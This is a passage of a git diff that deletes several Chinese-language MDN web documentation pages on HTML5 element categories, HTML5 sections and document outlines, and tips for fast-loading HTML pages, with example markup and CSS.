{{HTMLElement("option")}}代表一个 <select> 元素或 <datalist> 元素中的一个选项
{{HTMLElement("textarea")}}代表多行文本框
{{HTMLElement("keygen")}} 这个元素在 HTML5 中加入代表一个密钥对生成器 控件。
{{HTMLElement("output")}} 这个元素在 HTML5 中加入代表计算值
{{HTMLElement("progress")}} 这个元素在 HTML5 中加入代表进度条
{{HTMLElement("meter")}} 这个元素在 HTML5 中加入代表滑动条
- -

交互元素

- - - - - - - - - - - - - - - - - - - - - - - - - - -
ElementDescription
{{HTMLElement("details")}} 这个元素在 HTML5 中加入代表一个用户可以(点击)获取额外信息或控件的小部件
{{HTMLElement("summary")}} 这个元素在 HTML5 中加入代表 <details> 元素的综述标题
{{HTMLElement("menuitem")}} 这个元素在 HTML5 中加入代表一个用户可以点击的菜单项。
{{HTMLElement("menu")}} 这个元素在 HTML5 中加入代表菜单。
- -

另请参阅

- - diff --git a/files/zh-cn/web/guide/html/html5/html5_thematic_classification/index.html b/files/zh-cn/web/guide/html/html5/html5_thematic_classification/index.html deleted file mode 100644 index 3759db3097..0000000000 --- a/files/zh-cn/web/guide/html/html5/html5_thematic_classification/index.html +++ /dev/null @@ -1,169 +0,0 @@ ---- -title: HTML5 & friends thematic classification -slug: Web/Guide/HTML/HTML5/HTML5_Thematic_Classification -translation_of: Web/Guide/HTML/HTML5 -translation_of_original: Web/Guide/HTML/HTML5/HTML5_Thematic_Classification ---- -

这个页面提供了有关HTML5的主题链接,有些链接一般与HTML5关联但实际上并不是HTML标准,为了方便这些内容也被整理到这里。

-

HTML

-

Audio 和 video

-
- Firefox 3.5引入对HTML5<audio>和<video>元素的支持,提供向HTML文档轻松嵌入媒体资源的能力。参考:在 Firefox 中使用audio和video
-
-  
-

Canvas

-

<Canvas>是HTML新元素,可以用于通过脚本(常用 JavaScript)绘制图像,例如,它可以用来绘制图表,合成照片甚至实现动画。

-

参考:

- -

WebGL (独立规范)

-
- webGL WebGL brings 3D graphics to the Web by introducing an API that closely conforms to OpenGL ES 2.0 and can be used in HTML5 {{ HTMLElement("canvas") }} elements.
-
- Reference: WebGL
-

Inline SVG and MathML

-
- HTML5 parsing liberates MathML and SVG from XML and makes them available in the main file format of the Web.
-
- Reference:
- - -
- Link relations complement the <a> tag and specify why you're pointing to another page.
-
- Reference:
-

Web forms

-
- Form elements and attributes in HTML5 provide a greater degree of semantic mark-up than HTML4 and remove a great deal of the need for tedious scripting and styling that was required in HTML4.
-
- Reference:
- -

Microformats (separate specification)

-
- Microformats allow web sites to provide semantic data to the browser in order to make it possible to present summaries of the information on a page without having to know how to parse the document itself.
-
- Reference: Using microformats
- -

Semantic tags

-
- The HTML5 specification brings several new elements to web developers allowing them to describe the structure of a web document with a standard semantics.
-
- Reference:
-
    -
  • Sections and Outlines of an HTML5 document
  • -
  • {{ HTMLElement("article") }}
  • -
  • {{ HTMLElement("aside") }}
  • -
  • {{ HTMLElement("figcaption") }}
  • -
  • {{ HTMLElement("figure") }}
  • -
  • {{ HTMLElement("footer") }}
  • -
  • {{ HTMLElement("header") }}
  • -
  • {{ HTMLElement("mark") }}
  • -
  • {{ HTMLElement("nav") }}
  • -
  • {{ HTMLElement("section") }}
  • -
  • {{ HTMLElement("time") }}
  • -
-

JavaScript (separate specifications)

-

Client-Side Storage

-
- Firefox supports the HTML 5 specification for offline caching of web applications' resources and offline storage of data.
-
- Reference:
- -

IndexedDB

-
- IndexedDB is an evolving web standard for the storage of significant amounts of structured data in the browser and for high performance searches on this data using indexes.
-
- Reference: IndexedDB
-

Web workers (separate specification)

-
- Workers provide a simple means for web content to run scripts in background threads.  Once created, a worker can send messages to the spawning task by posting messages to an event handler specified by the creator.
-
- Reference: Using web workers
-

New events

-
- In order to build a good offline-capable web application, you need to know when your application is actually offline. Incidentally, you also need to know when your application has returned to an online status again.
- -

Drag and drop

-
- Firefox and other Mozilla applications support a number of features for handling drag and drop. This allows you the user to click and hold the mouse button down over an element, drag it to another location, and release the mouse button to drop the element there.
-
- Reference: Drag and Drop
-

Protocol handler

-
-

It's fairly common to find web pages link to resources using non-http protocols. You can think of this as a desktop-based protocol handler.

-

Reference: Web-based protocol handler

-

Geolocation

-
-
- The Geolocation API allows the user to provide their location to web applications if they so desire.  For privacy reasons, the user is asked to confirm permission to report location information.
-
- Reference: Using geolocation
- -
-

Focus attributes

-
- The focus atributes let a script understand if an element has the focus of the user and then act accordingly.
- -        
-

CSS (separate specifications)

-

New CSS selectors

-
- The following page shows the CSS3 support in Firefox and the new elements for HTML5.
- -

Typography

-

The following pages show some of the typography attributes introduced by CSS3.

-
- Text wrap:
- -

Layout

-
- Columns:
- -

Visual

-
- The following pages show some of the visual attributes introduced by CSS3.
- -

Dynamic effects

-
- CSS also introduces dynamic effects:
- -

{{ languages( { "ja": "ja/HTML/HTML5/HTML5_Thematic_Classification"} ) }}

diff --git a/files/zh-cn/web/guide/html/sections_and_outlines_of_an_html5_document/index.html b/files/zh-cn/web/guide/html/sections_and_outlines_of_an_html5_document/index.html deleted file mode 100644 index 2eeb6fe100..0000000000 --- a/files/zh-cn/web/guide/html/sections_and_outlines_of_an_html5_document/index.html +++ /dev/null @@ -1,377 +0,0 @@ ---- -title: 使用 HTML 章节与大纲 -slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document -tags: - - HTML - - HTML5 - - 指南 - - 文档结构 - - 高阶 -translation_of: Web/Guide/HTML/Using_HTML_sections_and_outlines ---- -
-

(下方英文原文警告的过时已翻译版本)注意:下面描述的HTML 5 大纲算法在用户代理中还没有实现,因此,使用标题语义的用户暴露在HTML4的文档结构下。HTML5对问题的描述还仅仅是理论上的。

-
- -
-

Important: There are no implementations of the proposed outline algorithm in web browsers nor assistive technology; it was never part of a final W3C specification. Therefore the outline algorithm should not be used to convey document structure to users. Authors are advised to use heading rank (h1-h6) to convey document structure.

-
- -

HTML5新增了几个新元素使得开发者可以用标准语义去描述web文档的结构。本文描述了这些元素并说明如何使用这些元素去为任何文档定义纲要。

- -

HTML 4 的文档结构

- -

文档结构,即,<body></body> 标记之间内容的语义结构,对呈现页面给用户是重要的。HTML4用文档中章节和子章节的概念去描述文档结构。一个章节由一个包含着标题元素(h1-h6)的div元素表示。这些html划分元素(HTML Dividing Elements)和标题元素(HTML Heading Elements)形成了文档的结构和纲要。

- -

所以下面的片段:

- -
-
<div class="section" id="forest-elephants" >
-  <h1>Forest elephants</h1>
-  <p>In this section, we discuss the lesser known forest elephants.
-    ...this section continues...
-  <div class="subsection" id="forest-habitat" >
-    <h2>Habitat</h2>
-    <p>Forest elephants do not live in trees but among them.
-     ...this subsection continues...
-  </div>
-</div>
-
-
- -

形成了如下的大纲:

- -
1. Forest elephants
-   1.1 Habitat
-
- -

HTML div 元素( {{HTMLElement("div")}} elements)并不强制性地定义一个章节。一个 HTML 标题元素( HTML Heading Element)的出现就足以意味着新的章节. 因此,

- -
<h1>Forest elephants</h1>
-  <p>In this section, we discuss the lesser known forest elephants.
-    ...this section continues...
-  <h2>Habitat</h2>
-  <p>Forest elephants do not live in trees but among them.
-    ...this subsection continues...
-  <h2>Diet</h2>
-<h1>Mongolian gerbils</h1>
-
- -

会形成如下的大纲:

- -
1. Forest elephants
-   1.1 Habitat
-   1.2 Diet
-2. Mongolian gerbils
-
- -

HTML5 解决的问题

- -

HTML 4 的文档结构定义和其隐含的大纲算法非常粗糙而且造成了很多问题:

- -
    -
  1.  定义语义性章节的{{HTMLElement("div")}} 元素的用法,如果没有为class属性赋以特殊的值,使生成自动生成大纲的算法变得不可能 ("一个div元素{{HTMLElement("div")}} 是不是大纲的一部分, 定义的是章节还是子章节?" 或者 "该div元素 {{HTMLElement("div")}}是仅仅为了样式化?")。换句话说, HTML4规范在章节的定义和章节的范围都不精确。 自动生成大纲是重要的,尤其是在倾向于通过根据文档大纲内容去展示内容的辅助技术( assistive technology)。 HTML5 在自动生成大纲算法的过程中去掉了div元素({{HTMLElement("div")}}),并新增了一个元素,section元素({{HTMLElement("section")}})。
  2. -
  3. 合并多个文档是困难的:主文档中包含子文档意味着改变HTML标题元素的级别,以使得文档大纲能够保持下来。 这个已经被HTML5的新的章节元素解决了,因为新引入的元素({{HTMLElement("article")}}、{{HTMLElement("section")}}、{{HTMLElement("nav")}} 和 {{HTMLElement("aside")}})总是距离其最近的祖先章节的子章节, 与子文档章节内部的标题没有关系.
  4. -
  5. HTML4中,所有的章节都是文档大纲中的一部分。但是文档并不总是这样。文档可以包含那些不是大纲的特殊章节, 但是与文档有关的, 就像广告块和解释区域。 HTML5 引入aside元素 {{HTMLElement("aside")}}使得这样的节点不会插入到主纲要中。 
  6. -
  7. 另外, 因为在 HTML4中任何的部分都是文档大纲的一部分, 没有办法产生与网站相关而不是与文档相关的节段,比如logos,menus,目录或版权信息和法律声明。为了这个目的, HTML5 引入了三个特殊的节段 元素: 包含链接集合的nav元素{{HTMLElement("nav")}} , 例如目录, 包含网站相关信息的footer元素{{HTMLElement("footer")}} 和header元素 {{HTMLElement("header")}} 。
  8. -
- -

更具有普遍意义的是HTML5使得章节和标题特性更精确。使得文档大纲变的可预测,浏览器使用后也可以提高用户体验。

- -

HTML5 的大纲算法

- -

定义节段

- -

 {{HTMLElement("body")}} 元素中的所有内容都是节段中的一部分。节段在 HTML5 中是可以嵌套的。{{HTMLElement("body")}} 元素定义了主节段,基于主节段,可以显式或隐式定义各个子节段的划分。显式定义的节段是通过{{HTMLElement("body")}},  {{HTMLElement("section")}},  {{HTMLElement("article")}},  {{HTMLElement("aside")}}和 {{HTMLElement("nav")}} 这些标记中的内容。 

- -
注意:每个section可以有自己的标题结构。因此,即使是一个嵌套的section也能有{{HTMLElement("h1")}}. 具体查看 Defining Headings in HTML5.
- -

Example:

- -
<section>
-  <h1>Forest elephants</h1>
-  <section>
-    <h1>Introduction</h1>
-    <p>In this section, we discuss the lesser known forest elephants.</p>
-  </section>
-  <section>
-    <h1>Habitat</h1>
-    <p>Forest elephants do not live in trees but among them.</p>
-  </section>
-  <aside>
-    <p>advertising block</p>
-  </aside>
-</section>
-<footer>
-  <p>(c) 2010 The Example company</p>
-</footer>
- -

这个HTML片段定义了两个顶级节段:

- -
<section>
-  <h1>Forest elephants</h1>
-  <section>
-    <h1>Introduction</h1>
-    <p>In this section, we discuss the lesser known forest elephants.</p>
-  </section>
-  <section>
-    <h1>Habitat</h1>
-    <p>Forest elephants do not live in trees but among them.</p>
-  </section>
-  <aside>
-    <p>advertising block</p>
-  </aside>
-</section>
-
-<footer>
-  <p>(c) 2010 The Example company</p>
-</footer>
- -

第一个节段有三个子节段:

- -
<section>
-  <h1>Forest elephants</h1>
-
-  <section>
-    <h1>Introduction</h1>
-    <p>In this section, we discuss the lesser known forest elephants.</p>
-  </section>
-
-  <section>
-    <h1>Habitat</h1>
-    <p>Forest elephants do not live in trees but among them.</p>
-  </section>
-
-  <aside>
-    <p>advertising block</p>
-  </aside>
-</section>
-
-<footer>
-  <p>(c) 2010 The Example company</p>
-</footer>
- -

上面的片段形成了如下的大纲:

- -
1. Forest elephants
-   1.1 Introduction
-   1.2 Habitat
-   1.3 Section (aside)
-
- -

在HTML5中定义标题

- -

当 HTML 节段元素定义文档结构时,文档大纲也需要有用的标题。基本规则是简单的:第一个 HTML 标题元素({{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}之一)定义了当前节段的标题

- -

标题元素通过在元素里的名字加上数字来分级标题元素,{{HTMLElement("h1")}} 元素有最高级别,{{HTMLElement("h6")}} 有最低级别。相关的级别只在节段中起作用;节段的结构定义了大纲,而不是节段的标题。例如,下面的代码:

- -
<section>
-  <h1>Forest elephants</h1>
-  <p>In this section, we discuss the lesser known forest elephants.
-    ...this section continues...
-  <section>
-    <h2>Habitat</h2>
-    <p>Forest elephants do not live in trees but among them.
-        ...this subsection continues...
-  </section>
-</section>
-<section>
-  <h3>Mongolian gerbils</h3>
-  <p>In this section, we discuss the famous mongolian gerbils.
-     ...this section continues...
-</section>
- -

形成了下面的大纲:

- -
1. Forest elephants
-   1.1 Habitat
-2. Mongolian gerbils
- -

注意标题元素的级别(例子中的第一个顶层节段的 {{HTMLElement("h1")}},子节段中的{{HTMLElement("h2")}} 和第二个顶层节段中的{{HTMLElement("h3")}})并不重要。(任何级别可以用作显示定义的节段的标题,虽然这种做法并不推荐。)

- -

隐式分节

- -

因为HTML5分节元素并不强制性定义大纲,为了与现有的占主导地位的HTML4保持兼容,有个方式来定义节段而不需要分节元素。这种方式就是隐式分节。

- -

HTML标题元素 ({{HTMLElement("h1")}} 到 {{HTMLElement("h6")}}) 定义了一个新的,隐式的节段,当其不是父节段第一个标题时。这种隐式放置节段的方式通过在父节点中与之前标题的相对级别来定义。如果比之前的标题级别更低,那么在节段里开始新的隐式子节段。如代码所示:

- -
<section>
-  <h1>Forest elephants</h1>
-  <p>In this section, we discuss the lesser known forest elephants.
-    ...this section continues...
-  <h3 class="implicit subsection">Habitat</h3>
-  <p>Forest elephants do not live in trees but among them.
-    ...this subsection continues...
-</section>
- -

形成如下的大纲:

- -
1. Forest elephants
-   1.1 Habitat (implicitly defined by the h3 element)
- -

如果与前面标题的级别相同,那么闭合前面的节段(可能是显式标记的节段!)并开始新的同一级别的隐式节段:

- -
<section>
-  <h1>Forest elephants</h1>
-  <p>In this section, we discuss the lesser known forest elephants.
-    ...this section continues...
-  <h1 class="implicit section">Mongolian gerbils</h1>
-  <p>Mongolian gerbils are cute little mammals.
-    ...this section continues...
-</section>
- -

形成如下的大纲:

- -
1. Forest elephants
-2. Mongolian gerbils (implicitly defined by the h1 element, which closed the previous section at the same time)
- -

如果比之前标题的级别更高,那么关闭之前的节段并开始新的这个更高级别的隐式节段:

- -
<body>
-  <h1>Mammals</h1>
-  <h2>Whales</h2>
-  <p>In this section, we discuss the swimming whales.
-    ...this section continues...
-  <section>
-    <h3>Forest elephants</h3>
-    <p>In this section, we discuss the lesser known forest elephants.
-      ...this section continues...
-    <h3>Mongolian gerbils</h3>
-      <p>Hordes of gerbils have spread their range far beyond Mongolia.
-         ...this subsection continues...
-    <h2>Reptiles</h2>
-      <p>Reptiles are animals with cold blood.
-          ...this subsection continues...
-  </section>
-</body>
- -

形成如下的大纲:

- -
1. Mammals
-   1.1 Whales (implicitly defined by the h2 element)
-   1.2 Forest elephants (explicitly defined by the section element)
-   1.3 Mongolian gerbils (implicitly defined by the h3 element, which closes the previous section at the same time)
-2. Reptiles (implicitly defined by the h2 element, which closes the previous section at the same time)
- -

这并不是一眼就可以通过标题标记就可以看出来的大纲。为了使标记容易理解,用显式的标记开始和闭合节段以及匹配标题等级与期望的嵌套节段等级。然而,HTML5规范并不需要这样。如果你发现浏览器以不期望的方式渲染文档,检查是否有隐式的节段没有闭合。

- -

作为经验法则,标题级别应该与节段嵌套级别相匹配,但为了方便节段在多个文档中的重用,也存在例外的情况。例如,一个节段可能会存储在内容管理系统中并在运行时组装为完整的文档。在这种情况下,好的实践便是使用{{HTMLElement("h1")}}作为可重用部分的最高标题级别。可重用节段的嵌套级别应该取决于将使用该节段的文档的节段层级。显式节段标记仍然在这种情况下有用处。

- -

分节根

- -

分节根是一个HTML元素,这个元素可以拥有自己的大纲,但是元素内部的节段和标题对其祖先的大纲没有贡献。除了文档的逻辑分节根{{HTMLElement("body")}}元素,这些元素经常在页面中引入外部内容:{{HTMLElement("blockquote")}}, {{HTMLElement("details")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("figure")}} 和{{HTMLElement("td")}}。

- -

Example:

- -
<section>
-  <h1>Forest elephants</h1>
-  <section>
-    <h2>Introduction</h2>
-    <p>In this section, we discuss the lesser known forest elephants</p>
-  </section>
-  <section>
-    <h2>Habitat</h2>
-    <p>Forest elephants do not live in trees but among them. Let's
-       look what scientists are saying in "<cite>The Forest Elephant in Borneo</cite>":</p>
-    <blockquote>
-       <h1>Borneo</h1>
-       <p>The forest element lives in Borneo...</p>
-    </blockquote>
-  </section>
-</section>
-
- -

例子形成如下的大纲:

- -
1. Forest elephants
-   1.1 Introduction
-   1.2 Habitat
- -

这个大纲并不包含 {{HTMLElement("blockquote")}} 元素的内部大纲。{{HTMLElement("blockquote")}} 元素是一个外部引用,是一个分节根并隔离了他内部的大纲

- -

大纲之外的节段

- -

HTML5引入了2个新的元素,用来定义那些不属于web文档主要大纲中的节段。

- -
    -
  1. HTML 侧边分节元素 ({{HTMLElement("aside")}}) 定义了这样的节段, 虽然是主要的分节元素, 但并不属于主要的文档流, 就像解释栏或广告栏. aside元素内部有自己的大纲,但并不计入文档大纲中
  2. -
  3. HTML 导航分节元素 ({{HTMLElement("nav")}}) 定义的节段包含了很多导航links。文档中可以有好几个这样的元素,比如文档内部的链接,就像目录,和链接到其他站点的导航links。这些链接并不是主文档流和文档大纲中的一部分 ,并且能够特别让屏幕浏览器和类似的辅助技术从一开始就不渲染该标记里的内容。
  4. -
- -

页眉和页脚

- -

HTML5引入了两个可以用于标记节段的页眉和页脚的新元素。

- -
    -
  1. HTML 头部分节元素 ({{HTMLElement("header")}}) 定义了页面的页眉,通常会包含logo和站点名称以及水平菜单(如果有的话)。或是一个节段的头部,可能包含了节段的标题和作者名字等。{{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}}, and {{HTMLElement("nav")}}可以拥有它们自己的{{HTMLElement("header")}}。虽然名字是header,但是不一定是在页面的开始。
  2. -
  3. HTML 页脚元素 ({{HTMLElement("footer")}}) 定义了页脚, 通常会包含版权信息和法律声明以及一些其他链接。或是节段的页脚,可能包含了节段的发布数据、许可声明等。{{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}}, and {{HTMLElement("nav")}} 可以拥有它们自己的 {{HTMLElement("footer")}}。同样,其不一定是在页面的底部出现。
  4. -
- -

分节元素中的地址和发表时间

- -

文档的作者想要发布一些联系信息,例如作者的名字和地址。HTML4通过{{HTMLElement("address")}}元素来表示,HTML5则拓展了这个元素。

- -

一个文档可以由不同作者的不同节段组成。一个从其他作者而不是文档作者写的节段用{{HTMLElement("article")}}元素定义。因此, {{HTMLElement("address")}} 元素连接到距离最近的{{HTMLElement("body")}}或{{HTMLElement("article")}} 祖先元素。

- -

同样的,新的HTML5标记 {{HTMLElement("time")}}元素,使用{{htmlattrxref("pubdate", "time")}}布尔值,表示整个文档的发布时间,分别给文章,与其最近的{{HTMLElement("body")}}元素或{{HTMLElement("article")}} 元素的祖先元素相关。

- -

在不支持HTML5的浏览器器中使用HTML5

- -

分节和标题元素应该在大部分的不支持HTML5的浏览器中工作。尽管不支持,但不必使用特殊的DOM接口。仅仅只需要一个特殊的CSS样式,因为未知元素默认会样式化为display:inline:

- -
section, article, aside, footer, header, nav, hgroup {
-  display:block;
-}
-
-
- -

当然web开发者可以改变上面的样式结构,但是要记住的是在不支持HTML5浏览器中,这些元素默认的样式是与预期的样式是不同的。还要注意的是{{HTMLElement("time")}}元素并没有在这些元素中,因为其样式在不支持HTML5和兼容HTML5的浏览器中的表现是相同的。

- -

然而这种方法有自己的局限性,因为一些浏览器并不允许样式化不支持的元素。这种情形出现在ie8及ie8以前的浏览器中,需要一个特殊脚本才行:

- -
<!--[if lt IE 9]>
-  <script>
-    document.createElement("header" );
-    document.createElement("footer" );
-    document.createElement("section");
-    document.createElement("aside"  );
-    document.createElement("nav"    );
-    document.createElement("article");
-    document.createElement("hgroup" );
-    document.createElement("time"   );
-  </script>
-<![endif]-->
- -

这段脚本表示,当在ie8(及ie8以前)的情况下,应该允许脚本的运行以合适地展示HTML5分节和标题元素。如果禁用了脚本,则不会显示,可能会出问题因为这些元素定义整个页面的结构。为了预防这种情况,我们需要加上{{HTMLElement("noscript")}}标签。

- -
<noscript>
-   <strong>Warning !</strong>
-   Because your browser does not support HTML5, some elements are simulated using JScript.
-   Unfortunately your browser has disabled scripting. Please enable it in order to display this page.
-</noscript>
- -

于是形成了如下的代码,允许HTML5节段和标题元素在不支持HTML5的浏览器中展示,即使是ie8(ie8以下版本)也在禁用脚本的情况下有了合适的反馈。

- -
<!--[if lt IE 9]>
-  <script>
-    document.createElement("header" );
-    document.createElement("footer" );
-    document.createElement("section");
-    document.createElement("aside"  );
-    document.createElement("nav"    );
-    document.createElement("article");
-    document.createElement("hgroup" );
-    document.createElement("time"   );
-  </script>
-  <noscript>
-     <strong>Warning !</strong>
-     Because your browser does not support HTML5, some elements are simulated using JScript.
-     Unfortunately your browser has disabled scripting. Please enable it in order to display this page.
-  </noscript>
-<![endif]-->
- -

总结

- -

HTML5中新的节段和标题标签带来了以标准的方法来描述web文档的结构和大纲。其为人们使用HTML5浏览器和需要结构来帮助他们理解页面带来了一个很大的优势。例如,人们需要一些辅助技术的帮助。这些新的语义元素使用简单,几乎没有负担,也可以在不支持HTML5的浏览器中工作。因此,他们应该被广泛使用。

- -
{{HTML5ArticleTOC()}}
diff --git a/files/zh-cn/web/guide/html/tips_for_authoring_fast-loading_html_pages/index.html b/files/zh-cn/web/guide/html/tips_for_authoring_fast-loading_html_pages/index.html deleted file mode 100644 index 5a07e862a0..0000000000 --- a/files/zh-cn/web/guide/html/tips_for_authoring_fast-loading_html_pages/index.html +++ /dev/null @@ -1,213 +0,0 @@ ---- -title: 小贴士:如何制作快速加载的HTML页面 -slug: Web/Guide/HTML/Tips_for_authoring_fast-loading_HTML_pages -tags: - - HTML - - 全部分类 - - 教程 -translation_of: Learn/HTML/Howto/Author_fast-loading_HTML_pages ---- -

以下技巧都是基于通用的知识和经验。

- -

一个好的页面不仅要给访客提供一个更有交互性的站点,同时也需要降低你的服务器压力和网络请求。后者对于那些高访问量的站点,或在有爆炸性新闻出现等特殊情况下会出现流量突增的站点来说尤为关键。

- -

页面加载性能的优化不仅仅是针对那些带宽有限的拨号上网或移动设备用户需要看的内容,对于提供给宽带用户访问的内容同样重要并且可以导致巨大的提升,哪怕对于那些拥有最快网速的访客。

- -

Tips

- -

减小页面的大小

- -

直至今日,页面的大小仍是页面加载性能的最重要因素。

- -

通过压缩——排除不必要空格,注释,和将脚本、CSS放入外部文件等减小页面的大小,可以在页面结构改变很小的情况下提高下载性能。

- -

诸如 HTML Tidy 这类的工具可以从有效的HTML源文件中自动截去行首空格和额外的空行,其它工具则可以通过重新格式化源代码来压缩JavaScript或者通过混淆源码将长标识符替换为短标识符来减小文件大小。

- -

最小化文件数量

- -

减少一个页面引用的文件数量可以降低在下载一个页面的过程中需要的HTTP请求数量,从而减少这些请求的收发时间。

- -

根据其缓存设置,浏览器可能会为每个所引用的文件发送一个带 If-Modified-Since 的请求给网络服务器,以查询这些文件自上次加载后是否有被修改。查询引用文件上次修改时间会花费太多时间,导致网页首屏延迟,这是因为在渲染页面之前浏览器必须确认每个文件的修改时间。

- -

If you use background images a lot in your CSS, you can reduce the number of HTTP lookups needed by combining the images into one, known as an image sprite. Then you just apply the same image each time you need it for a background and adjust the x/y coordinates appropriately. This technique works best with elements that will have limited dimensions, and will not work for every use of a background image. However, the fewer HTTP requests and single image caching can help reduce page-load time.

- -

使用 CDN

- -

For the purposes of this article, a CDN is a means to reduce the physical distance between your server and your visitor. As the distance between your server origin and visitor increases, the load times will increase. Suppose your website server is located in the United States and it has a visitor from India; the page load time will be much higher for the Indian visitor compared to a visitor from the US.

- -

A CDN is a geographically distributed network of servers that work together to shorten the distance between the user and your website. CDNs store cached versions of your website and serve them to visitors via the network node closest to the user, thereby reducing latency.

- -

Further reading:

- - - -

减少域名查找

- -

每个独立的域名都会消耗DNS查找的时间,页面加载时间会随着独立域名数量、CSS链接数量、JavaScript还有图片资源的数量增加而增加。

- -

这条可能算不上实用,然而,在你的页面中尽量少的使用来自不同域名的资源链接。

- -
    -
- -

缓存重用的内容

- -

确保任何内容可以被缓存,并且拥有一个合理的有效期。

- -

特别要注意 Last-Modified 头,它会让页面高效的缓存。 自上次修改之后,这部分 header 指示将信息传递给用户代理(要加载这些信息的文件)。大部分网页服务器会自动追加 Last-Modified header 部分到静态页面(如 .html.css),基于上次修改的日期储存在文件系统中。至于动态页面(如 .php.aspx),便无法做到,这部分请求的头也就不会被发送出去。

- -

所以,特别是动态产生的页面,花点时间研究一下这个课题会是有益的。或许有些什么关联,无论怎样,这么做在那些不能被缓存的网页中都会节省很多的页面请求。

- -

更多信息:

- -
    -
  1. HTTP Conditional Get for RSS Hackers
  2. -
  3. HTTP 304: Not Modified
  4. -
  5. HTTP ETag on Wikipedia
  6. -
  7. Caching in HTTP
  8. -
- -

高效地排列页面组件

- -

在页面最初显示时,会首先下载页面内容以及所需的CSS和JavaScript,这样在页面加载时用户可以最快获得外观的反馈。由于内容通常都是文本,有利于在传输过程中压缩,因此给用户以更快的响应。

- -

页面中任何具有动态特性的资源需要在页面被完全加载后才可以使用,所以最好在初始化时关闭动态特性(disable dynamic features ),等页面加载完后再打开它。这样JavaScript就会在网页内容之后才加载,有助于提升页面加载的整体表现。

- -

减少内联脚本的数量

- -

内联脚本在页面加载过程中消耗很多资源,因为解析器认为内联脚本会改变页面结构。通常,尽量少的使用内联脚本和减少用document.write()来输出内容,在一定情况下可以加速整体页面的载入。现在浏览器中一般使用现代的 W3C DOM 方法操作页面内容,优于使用document.write()的传统方法。

- -

使用现代CSS和合法标记

- -

使用现代CSS减少标记(markup)的用量,可以减少对(spacer)图片的需求。在布局方面,图片通常可以用风格化的文本(text)来替代,这样会“节省”许多资源。

- -

使用合法标记还有其它优点。首先,浏览器在解释HTML时无需做错误校正(除了一些哲理性的问题,例如,是允许用户输入格式不一致,而后再用程序“校准”或统一化呢? 还是加强约束规则,限制用户输入的格式?)。

- -

再者,合法标记可以让那些给你的网站做预处理的工具功能最大化。例如,HTML Tidy 可以移除空白(whitespace)和可选的末尾标记(ending tags);然而,在有严重的错误标记的网页中这些工具便无法工作。

- -

给内容分块

- -

使用 table 布局是一种不应该再采用的传统方法,而应运用 floatspositioningflexbox, 或 grids 来布局。

- -

当然,table 仍是不失为一种有效的展示表格数据的方式。为了帮助浏览器更快速的渲染你的页面,你应该避免嵌套 table。

- -

相较于这种深度的嵌套:

- -
<table>
-  <table>
-    <table>
-          ...
-    </table>
-  </table>
-</table>
- -

用下图这样的非嵌套结构更好一些:

- -
<table>...</table>
-<table>...</table>
-<table>...</table>
- -

可参见 CSS Flexible Box Layout 和 CSS Grid Layout 规范。

- -

Minify and compress SVG assets

- -

SVG produced by most drawing applications often contains unnecessary metadata which can be removed. Configure your servers, apply gzip compression for SVG assets.

- -

Minify and compress your images

- -

Large images cause your page to take more time to load. Consider compressing your images before adding them to your page, using compression features built into image-manipulation tools such as Photoshop, or using a specialized tool such as Compress Jpeg or Tiny PNG,.

- -

指定图像和表格的大小

- -

如果浏览器可以即时决定你的照片(images)和表格(tables)宽高,它在展示网页时就不必进行内容重新排版。这不仅可以加速网页的显示,还能在网页完成加载的过程中防止恼人的布局改变。因此,图片的 heightwidth 应尽可能确定下来。

- -

表格可以使用 CSS 选择器:综合性能:

- -
table-layout: fixed;
- -

用 <col><colgroup> 元素来指定列宽。

- -

合理的选择 user-agent

- -

为使页面设计得到极大提升,应确保在工程中指定一个合理的user-agent。不要奢求你的内容在所有浏览器中都完美的展现,特别是在那些低版本的浏览器中。

- -

理想情况下,你的页面运行的最小环境要基于现代浏览器,这个浏览器起码要支持一些相关的标准(如 html5 标准)。可以是最近版本的火狐,IE,谷歌Chrome,Opera还有Safari。

- -

需要注意一下,这篇文章当中的许多tips都是些技术性常识,可以不必担心浏览器的支持需求而应用到任何user-agent和网页中去。

- -

尽可能使用 async 和 defer

- -

确保 JavaScript 脚本兼容 async 和 defer,任何时候都要尽可能使用  async ,特别是当你有较多的 script 标签时。

- -

这样在加载 JavaScript 的过程中页面就不会重新绘制,否则,浏览器在不具有这些特性的 script 标签后就不会重绘任何东西。

- -

注意:这些特性在页面第一次加载时会有所帮助,你可以这样用但不能指靠它在所有的浏览器中起作用。如果你遵循指南(guidelines)写出了非常优秀的 JavaScript 代码,也不必要再去修改它了。

- -

页面结构示例

- -

· {{htmlelement('html')}}

- -
-
· {{htmlelement('head')}}
-
- -
-
-
-
· {{htmlelement('link')}} ...
- CSS 文件用来修饰页面外观。在调试维护中把不相关的 CSS 拆分在不同文件中,且尽量减少文件的数量可以提高性能。
-
-
-
- -
-
-
-
· {{htmlelement('script')}} ...
- JavaScript 文件用来实现页面加载时需要的函数,而避免在页面加载后才能运行的 JavaScript。
-
在调试维护中把不相关的 JavaScript 拆分在不同文件中,且尽量减少文件的数量可以提高性能。
-
-
-
- -
-
· {{htmlelement('body')}}
-
· 用户能在完整页面下载完之前就可以看到的页面小分块 ( {{htmlelement('header')}}{{htmlelement('main')}}/ {{htmlelement('table')}}) 。
-
- -
-
-
-
· {{htmlelement('script')}} ...
-
DHTML 脚本通常在页面完全加载或者所有必要的对象(objects)已初始化完毕之后才能运行。没有必要在页面内容之前加载这些脚本,这只会拖慢页面加载和初始化的体验。
-
在调试维护中把不相关的 script 拆分在不同文件中,且尽量减少文件的数量可以提高性能。
-
如有图像用到了反转效果,你应该在页面内容下载完后预加载这些图像。
-
-
-
- - - - - -
-

文章原始信息

- -
    -
  • 作者:Bob Clary, Technology Evangelist, Netscape Communications
  • -
  • 最后更新:Published 2003年4月4日
  • -
  • 版权信息:Copyright © 2001-2003 Netscape. All rights reserved.
  • -
  • 注意:This reprinted article was originally part of the DevEdge site.
  • -
-
- -
- -

{{ languages( { "en": "en/Tips_for_Authoring_Fast-loading_HTML_Pages", "ja": "ja/Tips_for_Authoring_Fast-loading_HTML_Pages", "pl": "pl/Porady_odno\u015bnie_tworzenia_szybko_\u0142aduj\u0105cych_si\u0119_stron_HTML" } ) }}

